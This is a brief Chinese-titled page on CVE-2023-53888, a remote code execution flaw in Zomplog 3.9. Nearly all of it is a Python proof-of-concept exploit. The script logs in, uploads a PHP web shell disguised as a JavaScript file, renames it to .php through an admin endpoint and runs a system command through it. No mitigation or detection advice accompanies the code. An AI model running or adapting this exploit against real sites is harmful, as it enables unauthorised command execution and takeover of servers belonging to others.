CVE-2023-53888: Zomplog 3.9 远程代码执行漏洞

import requests # 目标URL target_url = 'http://target.com/zomplog' # 登录获取认证 login_url = f'{target_url}/login.php' credentials = {'username': 'attacker', 'password': 'password'} session = requests.Session() session.post(login_url, data=credentials) # 上传恶意文件 upload_url = f'{target_url}/admin/saveE.php' malicious_code = '<?php system($_GET["cmd"]); ?>' files = {'file': ('malicious.js', malicious_code)} session.post(upload_url, files=files) # 重命名为PHP rename_url = f'{target_url}/admin/rename.php' rename_data = {'old_name': 'malicious.js', 'new_name': 'malicious.php'} session.post(rename_url, data=rename_data) # 执行命令 cmd_url = f'{target_url}/uploads/malicious.php' response = session.get(cmd_url, params={'cmd': 'whoami'}) print(response.text)